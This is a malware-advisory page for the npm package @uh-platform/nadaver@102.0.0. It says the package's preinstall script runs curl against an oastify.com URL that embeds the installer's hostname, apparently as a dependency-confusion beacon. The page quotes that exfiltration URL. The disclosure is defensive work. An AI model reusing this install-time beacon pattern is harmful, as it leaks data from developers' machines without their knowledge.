@uh-platform/nadaver@102.0.0: Malicious npm security report

OSV Malicious Advisory

imported 19d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-16360 confirms this npm version as malicious. On npm install, the package's preinstall script executes `node index.js`, which shells out `curl` to `http://$(hostname).nadaver.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/`, embedding the installer machine's hostname as a subdomain of an attacker-controlled Burp Collaborator (oastify.com) endpoint...

Advisory

MAL-2026-16360

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @uh-platform/nadaver (npm)

Details

On npm install, the package's preinstall script executes `node index.js`, which shells out `curl` to `http://$(hostname).nadaver.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/`, embedding the installer machine's hostname as a subdomain of an attacker-controlled Burp Collaborator (oastify.com) endpoint. Both DNS resolution and the HTTP request leak the installer's hostname to the attacker on every install, with no user interaction. The `@uh-platform` scope combined with an unusually high version number (102.0.0) is consistent with a dependency-confusion beacon aimed at internal build systems that resolve the scope against the public npm registry.

Decision reason

OpenSSF Malicious Packages via OSV confirms @uh-platform/nadaver@102.0.0 as malicious (MAL-2026-16360): Malicious code in @uh-platform/nadaver (npm)

References

OSV advisory PACKAGE

Source & flagged code

0 flagged

No flagged code excerpts are attached to this scan.

Source & flagged code

0 flagged · loading source

@uh-platform/nadaver@102.0.0

OSV Malicious Advisory

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code